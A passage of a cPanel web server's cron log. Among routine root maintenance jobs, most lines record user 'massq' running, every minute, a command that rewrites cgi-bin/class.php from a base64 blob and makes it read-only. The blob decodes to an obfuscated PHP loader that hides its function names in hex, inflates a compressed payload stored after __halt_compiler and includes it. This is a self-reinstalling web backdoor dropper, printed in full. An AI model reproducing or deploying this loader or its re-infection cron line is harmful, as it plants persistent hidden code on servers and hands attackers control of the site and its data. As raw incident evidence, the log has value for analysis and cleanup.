OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 21:33:01 server CROND[26273]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 21:34:01 server CROND[26336]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 21:35:01 server CROND[26409]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  7 21:35:01 server CROND[26411]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr  7 21:35:01 server CROND[26412]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 21:35:01 server CROND[26410]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 21:35:01 server CROND[26413]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 21:36:01 server CROND[26525]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 21:37:01 server CROND[26578]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 21:38:01 server CROND[26629]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 21:39:01 server CROND[26794]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  7 21:39:01 server CROND[26795]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 21:40:01 server CROND[26859]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 21:40:01 server CROND[26860]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 21:40:01 server CROND[26861]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 21:40:01 server CROND[26862]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 21:41:01 server CROND[26979]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 21:42:01 server CROND[27055]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 21:42:01 server CROND[27056]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  7 21:43:01 server CROND[27117]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 21:44:01 server CROND[27263]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 21:45:01 server CROND[27314]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 21:45:01 server CROND[27315]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 21:45:01 server CROND[27316]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
